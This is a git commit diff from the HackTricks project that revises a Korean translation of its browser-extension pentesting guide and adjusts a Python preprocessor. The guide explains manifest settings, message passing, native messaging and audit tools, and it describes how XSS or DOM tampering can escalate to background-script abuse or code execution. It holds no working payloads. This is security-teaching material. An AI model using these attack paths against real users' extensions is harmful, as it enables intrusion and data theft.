Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox

This commit is contained in:
Translator 2025-01-03 03:11:43 +00:00
parent ef5db7b682
commit 013d91f4ef
298 changed files with 3172 additions and 2913 deletions

View File

@ -1,4 +1,4 @@
## Attribution
귀하의 지식을 소중히 여기며 콘텐츠 공유를 권장합니다. 귀하가 소유하거나 원저자로부터 공유할 수 있는 권한이 있는 콘텐츠만 업로드하도록 하십시오(추가된 텍스트나 수정 중인 페이지의 끝에 저자에 대한 참조를 추가). 지적 재산권에 대한 귀하의 존중은 모두를 위한 신뢰할 수 있고 합법적인 공유 환경을 조성합니다.
귀하의 지식을 소중히 여기며 콘텐츠 공유를 권장합니다. 귀하가 소유한 콘텐츠 또는 원저자로부터 공유 허가를 받은 콘텐츠만 업로드하도록 하십시오(추가된 텍스트나 수정 중인 페이지의 끝에 저자에 대한 참조를 추가하거나 둘 다). 지적 재산권에 대한 귀하의 존중은 모든 사람을 위한 신뢰할 수 있고 합법적인 공유 환경을 조성합니다.
HackTricks에 기여해 주셔서 감사합니다!

View File

@ -22,6 +22,7 @@ after = ["links"]
[preprocessor.hacktricks]
command = "python3 ./hacktricks-preprocessor.py"
env = "prod"
[output.html]
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]

View File

@ -30,14 +30,16 @@ def ref(matchobj):
href = matchobj.groups(0)[0].strip()
title = href
if href.startswith("http://") or href.startswith("https://"):
# pass
try:
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
match = re.search('<title>(.*?)</title>', raw_html)
title = match.group(1) if match else href
except Exception as e:
logger.debug(f'Error opening URL {href}: {e}')
pass #nDont stop on broken link
if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
pass
else:
try:
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
match = re.search('<title>(.*?)</title>', raw_html)
title = match.group(1) if match else href
except Exception as e:
logger.debug(f'Error opening URL {href}: {e}')
pass #nDont stop on broken link
else:
try:
if href.endswith("/"):
@ -90,7 +92,7 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")

View File

@ -12,7 +12,7 @@ dht udp "DHT Nodes"
![](<images/image (273).png>)
![](<images/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
![](<images/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
InfluxDB

View File

@ -27,11 +27,11 @@
### 경계
> [!CAUTION]
> 사용자의 전체 권한을 얻으려면 공격자는 확장에 콘텐츠 스크립트에서 확장 코어로, 그리고 확장 코어에서 네이티브 바이너리로 악의적인 입력을 전달하도록 설득해야 합니다.
> 사용자의 전체 권한을 얻으려면 공격자는 확장에 콘텐츠 스크립트에서 확장 코어로, 그리고 확장 코어에서 네이티브 바이너리로 악의적인 입력을 전달하도록 설득해야 합니다.
확장의 각 구성 요소는 **강력한 보호 경계**로 서로 분리되어 있습니다. 각 구성 요소는 **별도의 운영 체제 프로세스**에서 실행됩니다. 콘텐츠 스크립트와 확장 코어는 대부분의 운영 체제 서비스에서 사용할 수 없는 **샌드박스 프로세스**에서 실행됩니다.
또한, 콘텐츠 스크립트는 **별도의 JavaScript 힙**에서 실행되어 관련 웹 페이지와 분리됩니다. 콘텐츠 스크립트와 웹 페이지는 **같은 기본 DOM에 접근할 수** 있지만, 두 개는 **JavaScript 포인터를 교환하지 않**아 JavaScript 기능의 유출을 방지합니다.
게다가, 콘텐츠 스크립트는 **별도의 JavaScript 힙**에서 실행되어 관련 웹 페이지와 분리됩니다. 콘텐츠 스크립트와 웹 페이지는 **같은 기본 DOM에 접근할 수** 있지만, 두 개는 **JavaScript 포인터를 교환하지 않**아 JavaScript 기능의 유출을 방지합니다.
## **`manifest.json`**
@ -76,7 +76,7 @@ Content scripts는 사용자가 **일치하는 페이지로 이동할 때마다*
}
],
```
더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수 있습니다.
더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수 있습니다.
이것은 페이지에 설명 버튼을 추가하는 예제 콘텐츠 스크립트로, [저장소 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용하여 확장 프로그램의 저장소에서 `message` 값을 검색합니다.
```js
@ -91,11 +91,11 @@ document.body.appendChild(div)
```
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
이 버튼이 클릭되면 콘텐츠 스크립트를 통해 확장 페이지로 메시지가 전송됩니다. 이는 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)를 활용한 것입니다. 콘텐츠 스크립트는 API에 직접 접근하는 데 제한이 있으며, `storage`가 몇 가지 예외 중 하나입니다. 이러한 예외를 넘어서는 기능을 위해 메시지가 확장 페이지로 전송되며, 콘텐츠 스크립트는 이와 통신할 수 있습니다.
이 버튼이 클릭되면 콘텐츠 스크립트를 통해 확장 페이지로 메시지가 전송됩니다. 이는 콘텐츠 스크립트가 API에 직접 접근하는 데 제한이 있기 때문이며, `storage`가 몇 가지 예외 중 하나입니다. 이러한 예외를 넘어서는 기능을 위해 메시지가 확장 페이지로 전송되며, 콘텐츠 스크립트는 이와 통신할 수 있습니다.
> [!WARNING]
> 브라우저에 따라 콘텐츠 스크립트의 기능이 약간 다를 수 있습니다. Chromium 기반 브라우저의 경우 기능 목록은 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)에서 확인할 수 있으며, Firefox의 경우 [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)이 주요 출처입니다.\
> 또한 콘텐츠 스크립트는 백그라운드 스크립트와 통신할 수 있는 능력이 있어, 작업을 수행하고 응답을 전달할 수 있다는 점도 주목할 만합니다.
> 또한 콘텐츠 스크립트는 백그라운드 스크립트와 통신할 수 있는 능력이 있어, 작업을 수행하고 응답을 전달할 수 있니다.
Chrome에서 콘텐츠 스크립트를 보기 및 디버깅하려면 Chrome 개발자 도구 메뉴에 접근할 수 있습니다: 옵션 > 추가 도구 > 개발자 도구 또는 Ctrl + Shift + I를 눌러서 접근할 수 있습니다.
@ -217,7 +217,7 @@ js: ["contentScript.js"],
- **자동 생성:** 명시적으로 정의되지 않은 경우, 브라우저는 자동으로 background page를 생성합니다. 이 자동 생성된 페이지는 확장 매니페스트에 지정된 모든 background 스크립트를 포함하여 확장의 백그라운드 작업이 원활하게 작동하도록 보장합니다.
> [!TIP]
> 명시적으로 선언되지 않은 경우 브라우저가 background page를 자동으로 생성하는 편리함은 모든 필요한 background 스크립트가 통합되고 작동하도록 보장하여 확장의 설정 프로세스를 간소화합니다.
> 명시적으로 선언되지 않았을 때 브라우저가 background page를 자동으로 생성하는 편리함은 모든 필요한 background 스크립트가 통합되고 작동하도록 보장하여 확장의 설정 프로세스를 간소화합니다.
Example background script:
```js
@ -246,7 +246,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
이 페이지는 필요에 따라 동적으로 콘텐츠를 로드하므로 백그라운드 페이지처럼 지속적이지 않다는 점에 유의하십시오. 그럼에도 불구하고 이들은 백그라운드 페이지와 특정 기능을 공유합니다:
- **콘텐츠 스크립트와의 통신:** 백그라운드 페이지와 유사하게, 이 페이지는 콘텐츠 스크립트로부터 메시지를 수신할 수 있어 확장 내 상호작용을 촉진합니다.
- **확장 전용 API에 대한 접근:** 이 페이지는 확장에 대해 정의된 권한에 따라 확장 전용 API에 대한 포괄적인 접근을 누립니다.
- **확장 전용 API 접근:** 이 페이지는 확장에 대해 정의된 권한에 따라 확장 전용 API에 대한 포괄적인 접근을 누립니다.
### `permissions` & `host_permissions`
@ -254,7 +254,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
브라우저 확장이 매우 **특권적**일 수 있으므로, 악의적인 확장이나 손상된 확장은 공격자가 **민감한 정보를 훔치고 사용자에 대해 스파이할 수 있는 다양한 수단을 허용할 수 있습니다**.
이 설정이 어떻게 작동하는지 및 어떻게 용될 수 있는지 확인하십시오:
이 설정이 어떻게 작동하는지 및 어떻게 용될 수 있는지 확인하십시오:
{{#ref}}
browext-permissions-and-host_permissions.md
@ -262,7 +262,7 @@ browext-permissions-and-host_permissions.md
### `content_security_policy`
**콘텐츠 보안 정책**은 `manifest.json` 내에서도 선언할 수 있습니다. 정의된 것이 있다면, 이는 **취약할 수 있습니다**.
**콘텐츠 보안 정책**은 `manifest.json` 내에서도 선언할 수 있습니다. 정의된 것이 있다면, **취약할 수 있습니다**.
브라우저 확장 페이지의 기본 설정은 다소 제한적입니다:
```bash
@ -314,16 +314,16 @@ browext-clickjacking.md
{{#endref}}
> [!TIP]
> 이러한 페이지가 확장 프로그램에 의해서만 로드되고 무작위 URL에 의해 로드되지 않도록 허용하면 ClickJacking 공격을 방지할 수 있습니다.
> 이러한 페이지가 확장 프로그램에 의해서만 로드되고 무작위 URL에 의해 로드되지 않도록 하면 ClickJacking 공격을 방지할 수 있습니다.
> [!CAUTION]
> **`web_accessible_resources`**의 페이지와 확장 프로그램의 다른 페이지도 **백그라운드 스크립트와 연락할 수 있습니다**. 따라서 이러한 페이지 중 하나가 **XSS**에 취약하다면 더 큰 취약점을 열 수 있습니다.
>
> 또한, **`web_accessible_resources`**에 표시된 페이지는 iframe 내에서만 열 수 있지만, 새 탭에서 확장 프로그램 ID를 알고 있으면 확장 프로그램의 모든 페이지에 접근할 수 있습니다. 따라서 동일한 매개변수를 악용하는 XSS가 발견되면, 페이지가 **`web_accessible_resources`**에 구성되어 있지 않더라도 악용될 수 있습니다.
> 또한, **`web_accessible_resources`**에 표시된 페이지는 iframe 내에서만 열 수 있지만, 새 탭에서 확장 ID를 알고 있으면 확장 프로그램의 모든 페이지에 접근할 수 있습니다. 따라서 동일한 매개변수를 악용하는 XSS가 발견되면, 페이지가 **`web_accessible_resources`**에 구성되어 있지 않더라도 악용될 수 있습니다.
### `externally_connectable`
[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)에 따르면, `"externally_connectable"` 매니페스트 속성은 **어떤 확장 프로그램과 웹 페이지가** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 및 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)를 통해 귀하의 확장 프로그램에 연결할 수 있는지를 선언합니다.
[**문서**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)에 따르면, `"externally_connectable"` 매니페스트 속성은 **어떤 확장 프로그램과 웹 페이지가** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 및 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)를 통해 귀하의 확장 프로그램에 연결할 수 있는지를 선언합니다.
- **`externally_connectable`** 키가 귀하의 확장 프로그램의 매니페스트에 **선언되지 않았거나** **`"ids": ["*"]`**로 선언된 경우, **모든 확장 프로그램이 연결할 수 있지만 웹 페이지는 연결할 수 없습니다**.
- **특정 ID가 지정된 경우**, 예를 들어 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`와 같이, **오직 해당 애플리케이션만** 연결할 수 있습니다.
@ -335,24 +335,24 @@ browext-clickjacking.md
```
- 비어 있는 것으로 지정된 경우: **`"externally_connectable": {}`**, 어떤 앱이나 웹도 연결할 수 없습니다.
여기에서 **확장 프로그램과 URL**이 적을수록, **공격 표면**이 작아집니다.
여기에서 **확장 프로그램과 URL**이 적을수록 **공격 표면**이 작아집니다.
> [!CAUTION]
> 만약 **`externally_connectable`**에 **XSS 또는 탈취에 취약한** 웹 페이지가 표시되면, 공격자는 **배경 스크립트에 직접 메시지를 보낼 수** 있어, Content Script와 그 CSP를 완전히 우회할 수 있습니다.
> 만약 웹 페이지가 **XSS 또는 탈취에 취약**하다고 **`externally_connectable`**에 표시되면, 공격자는 **배경 스크립트에 직접 메시지를 보낼 수** 있어, Content Script와 그 CSP를 완전히 우회할 수 있습니다.
>
> 따라서, 이는 **매우 강력한 우회**입니다.
>
> 게다가, 클라이언트가 악성 확장 프로그램을 설치하면, 취약한 확장 프로그램과 통신할 수 없더라도, **허용된 웹 페이지에 XSS 데이터를 주입**하거나 **`WebRequest`** 또는 **`DeclarativeNetRequest`** API를 악용하여 특정 도메인에서 요청을 조작하고 **JavaScript 파일**에 대한 페이지 요청을 변경할 수 있습니다. (대상 페이지의 CSP가 이러한 공격을 방지할 수 있습니다). 이 아이디어는 [**이 글**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)에서 나왔습니다.
> 게다가, 클라이언트가 악성 확장 프로그램을 설치하면, 취약한 확장 프로그램과 통신할 수 없더라도 **허용된 웹 페이지에 XSS 데이터를 주입**하거나 **`WebRequest`** 또는 **`DeclarativeNetRequest`** API를 악용하여 특정 도메인에서 요청을 조작하고 **JavaScript 파일**에 대한 페이지 요청을 변경할 수 있습니다. (대상 페이지의 CSP가 이러한 공격을 방지할 수 있습니다). 이 아이디어는 [**이 글**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)에서 나왔습니다.
## 통신 요약
### 확장 프로그램 <--> 웹앱
콘텐츠 스크립트와 웹 페이지 간의 통신을 위해 일반적으로 포스트 메시지가 사용됩니다. 따라서 웹 애플리케이션에서는 일반적으로 **`window.postMessage`** 함수 호출을 찾을 수 있으며, 콘텐츠 스크립트에서는 **`window.addEventListener`**와 같은 리스너를 찾을 수 있습니다. 그러나 확장 프로그램이 **Post Message를 보내 웹 애플리케이션과 통신**할 수도 있으므로 웹은 이를 예상해야 하며, 단순히 웹이 새로운 스크립트를 로드하 할 수도 있습니다.
콘텐츠 스크립트와 웹 페이지 간의 통신을 위해 일반적으로 포스트 메시지가 사용됩니다. 따라서 웹 애플리케이션에서는 보통 **`window.postMessage`** 함수 호출을 찾을 수 있으며, 콘텐츠 스크립트에서는 **`window.addEventListener`**와 같은 리스너를 찾을 수 있습니다. 그러나 확장 프로그램이 **Post Message를 보내 웹 애플리케이션과 통신**할 수도 있으므로 웹은 이를 예상해야 하며, 단순히 웹이 새로운 스크립트를 로드하도록 할 수도 있습니다.
### 확장 프로그램 내부
일반적으로 **`chrome.runtime.sendMessage`** 함수가 확장 프로그램 내에서 메시지를 보내는 데 사용되며(일반적으로 `background` 스크립트에서 처리됨), 이를 수신하고 처리하기 위해 **`chrome.runtime.onMessage.addListener`**를 호출하는 리스너가 선언됩니다.
일반적으로 **`chrome.runtime.sendMessage`** 함수가 확장 프로그램 내에서 메시지를 보내는 데 사용되며(보통 `background` 스크립트에서 처리됨), 이를 수신하고 처리하기 위해 **`chrome.runtime.onMessage.addListener`**를 호출하는 리스너가 선언됩니다.
단일 메시지를 보내는 대신 지속적인 연결을 위해 **`chrome.runtime.connect()`**를 사용할 수도 있으며, 다음 예제와 같이 **메시지를 보내고** **받는** 데 사용할 수 있습니다:
@ -476,7 +476,7 @@ browext-xss-example.md
이것은 "정확히" 통신 방법은 아니지만, **웹과 콘텐츠 스크립트는 웹 DOM에 접근할 수 있습니다**. 따라서 **콘텐츠 스크립트**가 그로부터 정보를 읽고 **웹 DOM을 신뢰하는 경우**, 웹은 이 데이터를 **수정할 수 있습니다** (웹을 신뢰해서는 안 되거나, 웹이 XSS에 취약하기 때문에) 그리고 **콘텐츠 스크립트를 손상시킬 수 있습니다**.
**브라우저 확장을 손상시키기 위한 DOM 기반 XSS의 예시** 다음에서 찾을 수 있습니다:
**브라우저 확장을 손상시키기 위한 DOM 기반 XSS의 예시** 다음에서 찾을 수 있습니다:
{{#ref}}
browext-xss-example.md
@ -486,7 +486,7 @@ browext-xss-example.md
콘텐츠 스크립트는 [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **또는** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 함수를 사용하여 **일회성 JSON 직렬화 가능** 메시지를 보낼 수 있습니다.
**응답**을 처리하려면 반환된 **Promise**를 사용하십시오. 그러나 이전 호환성을 위해 마지막 인수로 **콜백**을 여전히 전달할 수 있습니다.
**응답**을 처리하려면 반환된 **Promise**를 사용하십시오. 그러나 하위 호환성을 위해 마지막 인수로 **콜백**을 여전히 전달할 수 있습니다.
**콘텐츠 스크립트**에서 요청을 보내는 모습은 다음과 같습니다:
```javascript
@ -525,11 +525,11 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
중요한 고려 사항은 여러 페이지가 `onMessage` 이벤트를 수신하도록 설정된 시나리오에서, **특정 이벤트에 대해 `sendResponse()`를 실행하는 첫 번째 페이지**만이 응답을 효과적으로 전달할 수 있다는 것입니다. 동일한 이벤트에 대한 후속 응답은 고려되지 않습니다.
새로운 확장을 만들 때는 콜백보다 프로미스를 선호해야 합니다. 콜백 사용과 관련하여, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환하여 비동기 작업을 나타내는 경우에만 유효하다고 간주됩니다. 핸들러 중 어느 것`true`를 반환하지 않거나 `sendResponse()` 함수가 메모리에서 제거(가비지 컬렉션)되면, `sendMessage()` 함수와 연결된 콜백이 기본적으로 트리거됩니다.
새로운 확장을 만들 때는 콜백보다 프로미스를 선호해야 합니다. 콜백 사용과 관련하여, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환하여 비동기 작업을 나타내는 경우에만 유효하다고 간주됩니다. 만약 어떤 핸들러도 `true`를 반환하지 않거나 `sendResponse()` 함수가 메모리에서 제거(가비지 컬렉션)되면, `sendMessage()` 함수와 관련된 콜백이 기본적으로 트리거됩니다.
## Native Messaging
브라우저 확장은 **stdin을 통해 시스템의 바이너리와 통신할 수** 있습니다. 애플리케이션은 이를 나타내는 json을 설치해야 합니다.
브라우저 확장은 **stdin을 통해 시스템의 바이너리와 통신할 수** 있습니다. 애플리케이션은 이를 나타내는 json을 설치해야 합니다:
```json
{
"name": "com.my_company.my_application",
@ -544,7 +544,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
Chrome/Chromium은 이 json을 일부 Windows 레지스트리와 macOS 및 Linux의 일부 경로에서 검색합니다(자세한 정보는 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)에서 확인할 수 있습니다).
> [!TIP]
> 브라우저 확장은 이 통신을 사용하기 위해 `nativeMessaing` 권한이 선언되어야 합니다.
> 브라우저 확장은 이 통신을 사용하기 위해 `nativeMessaing` 권한을 선언해야 합니다.
다음은 네이티브 애플리케이션에 메시지를 보내는 일부 백그라운드 스크립트 코드의 모습입니다:
```javascript
@ -563,7 +563,7 @@ console.log("Received " + response)
3. 백그라운드 스크립트는 `sendNativeMessage`를 사용하여 네이티브 애플리케이션에 메시지를 전달합니다.
4. 네이티브 애플리케이션은 메시지를 위험하게 처리하여 코드 실행으로 이어집니다.
그리고 그 안에서 **브라우저 확장을 악용하여 어떤 페이지에서든 RCE로 가는 방법에 대한 예제가 설명됩니다**.
그리고 그 안에서 **브라우저 확장을 악용하여 어떤 페이지에서든 RCE로 가는 예제가 설명됩니다**.
## 메모리/코드/클립보드의 민감한 정보
@ -571,15 +571,15 @@ console.log("Received " + response)
따라서 브라우저 확장 프로그램의 메모리는 **안전하다고 간주되어서는 안 되며**, 자격 증명이나 니모닉 구문과 같은 **민감한 정보는 저장되어서는 안 됩니다**.
물론, **코드에 민감한 정보를 넣지 마십시오**, 왜냐하면 그것은 **공개**될 것이기 때문입니다.
물론, **코드에 민감한 정보를 넣지 마십시오**, 왜냐하면 이는 **공개**될 것이기 때문입니다.
브라우저에서 메모리를 덤프하려면 **프로세스 메모리를 덤프**하거나 브라우저 확장의 **설정**으로 가서 **`Inspect pop-up`**을 클릭한 후 **`Memory`** 섹션에서 **`Take a snapshot`**을 클릭하고 **`CTRL+F`**를 사용하여 스냅샷 내에서 민감한 정보를 검색할 수 있습니다.
게다가, 니모닉 키나 비밀번호와 같은 매우 민감한 정보는 **클립보드에 복사되는 것을 허용해서는 안 됩니다**(또는 최소한 몇 초 후에 클립보드에서 제거해야 합니다) 왜냐하면 그러면 클립보드를 모니터링하는 프로세스가 이를 얻을 수 있기 때문입니다.
또한, 니모닉 키나 비밀번호와 같은 매우 민감한 정보는 **클립보드에 복사되는 것을 허용해서는 안 됩니다**(또는 최소한 몇 초 후에 클립보드에서 제거해야 합니다) 왜냐하면 그러면 클립보드를 모니터링하는 프로세스가 이를 얻을 수 있기 때문입니다.
## 브라우저에 확장 프로그램 로드하기
1. **브라우저 확장 프로그램을 다운로드**하고 압축을 풉니다.
1. 브라우저 확장 프로그램을 **다운로드**하고 압축을 풉니다.
2. **`chrome://extensions/`**로 가서 `개발자 모드`를 **활성화**합니다.
3. **`Load unpacked`** 버튼을 클릭합니다.
@ -587,7 +587,7 @@ console.log("Received " + response)
## 스토어에서 소스 코드 가져오기
Chrome 확장의 소스 코드는 다양한 방법을 통해 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침입니다.
Chrome 확장의 소스 코드는 다양한 방법으로 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침입니다.
### 명령줄을 통해 ZIP으로 확장 프로그램 다운로드
@ -621,7 +621,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
- `about:extensions` 페이지에서 개발자 모드를 활성화하여 각 확장 프로그램의 ID를 확인합니다.
- 각 확장 프로그램의 폴더 내에서 `manifest.json` 파일에는 읽기 가능한 `name` 필드가 포함되어 있어 확장 프로그램을 식별하는 데 도움이 됩니다.
### 파일 압축 해제기 또는 언커 사용
### 파일 압축 해제기 또는 언커 사용
Chrome 웹 스토어에 가서 확장 프로그램을 다운로드합니다. 파일은 `.crx` 확장자를 가집니다. 파일 확장자를 `.crx`에서 `.zip`으로 변경합니다. WinRAR, 7-Zip 등과 같은 파일 압축 해제기를 사용하여 ZIP 파일의 내용을 추출합니다.
@ -644,17 +644,17 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
- [ ] **`host_permissions`**를 가능한 한 많이 **제한**합니다.
- [ ] **강력한** **`content_security_policy`**를 사용합니다.
- [ ] 필요하지 않다면 **`externally_connectable`**를 가능한 한 많이 **제한**하고, 기본값으로 두지 말고 **`{}`**로 지정합니다.
- [ ] 여기에서 **XSS 또는 인수**에 취약한 **URL**이 언급되면, 공격자는 **백그라운드 스크립트에 직접 메시지를 보낼 수 있습니다**. 매우 강력한 우회입니다.
- [ ] 여기에서 **XSS 또는 인수 취약한 URL**이 언급되면, 공격자는 **백그라운드 스크립트에 직접 메시지를 보낼 수 있습니다**. 매우 강력한 우회입니다.
- [ ] **`web_accessible_resources`**를 가능한 한 많이 **제한**합니다. 가능하다면 비워두세요.
- [ ] **`web_accessible_resources`**가 없지 않다면, [**ClickJacking**](browext-clickjacking.md)을 확인합니다.
- [ ] **확장 프로그램**에서 **웹 페이지**로 **통신**이 발생하면, **통신에서 발생한 XSS** [**취약점**](browext-xss-example.md)을 **확인합니다**.
- [ ] **확장 프로그램**에서 **웹 페이지**로 **통신**이 발생하면, **통신에서 발생한 XSS** [**취약점**](browext-xss-example.md)을 확인합니다.
- [ ] Post Messages가 사용된다면, [**Post Message 취약점**](../postmessage-vulnerabilities/)**을 확인합니다.**
- [ ] **Content Script가 DOM 세부정보에 접근**하는 경우, 웹에 의해 **수정**될 때 **XSS를 도입하지 않는지** 확인합니다.
- [ ] 이 통신이 **Content Script -> Background script communication**에 관련되어 있다면 특별히 강조합니다.
- [ ] 백그라운드 스크립트가 **native messaging**을 통해 통신하는 경우, 통신이 안전하고 정제되었는지 확인합니다.
- [ ] 이 통신이 **Content Script -> Background script 통신**에 관련되어 있다면 특별히 강조합니다.
- [ ] 백그라운드 스크립트가 **네이티브 메시징**을 통해 통신하는 경우, 통신이 안전하고 정제되었는지 확인합니다.
- [ ] **민감한 정보는** 브라우저 확장 프로그램 **코드** 내에 저장되어서는 안 됩니다.
- [ ] **민감한 정보는** 브라우저 확장 프로그램 **메모리** 내에 저장되어서는 안 됩니다.
- [ ] **민감한 정보는** **파일 시스템에 보호되지 않은 상태로 저장되어서는 안 됩니다.**
- [ ] **민감한 정보는** **파일 시스템에 보호되지 않 저장되어서는 안 됩니다.**
## 브라우저 확장 프로그램 위험
@ -666,30 +666,30 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
- 제공된 Chrome 웹스토어 링크에서 Chrome 확장을 가져옵니다.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **뷰어**: 확장의 매니페스트의 JSON 예쁘게 정리된 버전을 간단히 표시합니다.
- **지문 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 감지 및 Chrome 확장 지문 생성 JavaScript 자동 생성.
- **잠재적 Clickjacking 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 지시어가 설정된 확장 HTML 페이지 감지. 이러한 페이지의 목적에 따라 Clickjacking에 취약할 수 있습니다.
- **지문 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 감지 및 Chrome 확장 지문 생성 JavaScript 자동 생성.
- **잠재적 Clickjacking 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 지시어가 설정된 확장 HTML 페이지 감지. 이러한 페이지의 목적에 따라 Clickjacking에 취약할 수 있습니다.
- **권한 경고 뷰어**: 사용자가 확장을 설치하려고 할 때 표시될 모든 Chrome 권한 프롬프트 경고 목록을 보여줍니다.
- **위험한 함수**: 공격자가 잠재적으로 악용할 수 있는 위험한 함수의 위치를 보여줍니다(예: innerHTML, chrome.tabs.executeScript와 같은 함수).
- **위험한 함수**: 공격자가 잠재적으로 악용할 수 있는 위험한 함수의 위치를 보여줍니다 (예: innerHTML, chrome.tabs.executeScript와 같은 함수).
- **진입점**: 확장이 사용자/외부 입력을 받는 위치를 보여줍니다. 이는 확장의 표면적을 이해하고 악의적으로 조작된 데이터를 확장으로 보낼 수 있는 잠재적 지점을 찾는 데 유용합니다.
- 위험한 함수 및 진입점 스캐너는 생성된 경고에 대해 다음을 포함합니다:
- 경고를 유발한 관련 코드 스니펫 및 줄.
- 문제에 대한 설명.
- 코드를 포함하는 전체 소스 파일을 보기 위한 “파일 보기” 버튼.
- 경고된 파일의 경로.
- 경고된 파일의 전체 Chrome 확장 URI.
- 파일의 유형(예: Background Page 스크립트, Content Script, Browser Action 등).
- 취약한 줄이 JavaScript 파일에 있는 경우, 포함된 모든 페이지의 경로와 이 페이지의 유형 및 [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 상태.
- **Content Security Policy (CSP) 분석기 및 우회 검사기**: 확장의 CSP의 약점을 지적하고 화이트리스트된 CDN 등으로 인해 CSP를 우회할 수 있는 잠재적인 방법을 밝혀냅니다.
- 경고를 유발한 관련 코드 스니펫 및 줄.
- 문제 설명.
- 코드를 포함하는 전체 소스 파일을 보기 위한 "파일 보기" 버튼.
- 경고된 파일의 경로.
- 경고된 파일의 전체 Chrome 확장 URI.
- 파일 유형 (예: 백그라운드 페이지 스크립트, 콘텐츠 스크립트, 브라우저 액션 등).
- 취약한 줄이 JavaScript 파일에 있는 경우, 포함된 모든 페이지의 경로와 이 페이지의 유형 및 [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 상태.
- **콘텐츠 보안 정책 (CSP) 분석기 및 우회 검사기**: 확장의 CSP의 약점을 지적하고 화이트리스트된 CDN 등으로 인해 CSP를 우회할 수 있는 잠재적 방법을 밝힙니다.
- **알려진 취약한 라이브러리**: [Retire.js](https://retirejs.github.io/retire.js/)를 사용하여 알려진 취약한 JavaScript 라이브러리의 사용 여부를 확인합니다.
- 확장 프로그램 및 형식화된 버전 다운로드.
- 원본 확장 프로그램 다운로드.
- 확장의 아름답게 정리된 버전 다운로드(자동으로 예쁘게 정리된 HTML 및 JavaScript).
- 확장 및 형식화된 버전 다운로드.
- 원본 확장 다운로드.
- 확장의 아름답게 정리된 버전 다운로드 (자동으로 예쁘게 정리된 HTML 및 JavaScript).
- 스캔 결과의 자동 캐싱, 확장 스캔을 처음 실행할 때는 상당한 시간이 소요됩니다. 그러나 두 번째 실행 시 확장이 업데이트되지 않았다면 결과가 캐시되어 거의 즉시 완료됩니다.
- 링크 가능한 보고서 URL, 다른 사람에게 tarnish에서 생성된 확장 보고서에 쉽게 링크할 수 있습니다.
### [Neto](https://github.com/elevenpaths/neto)
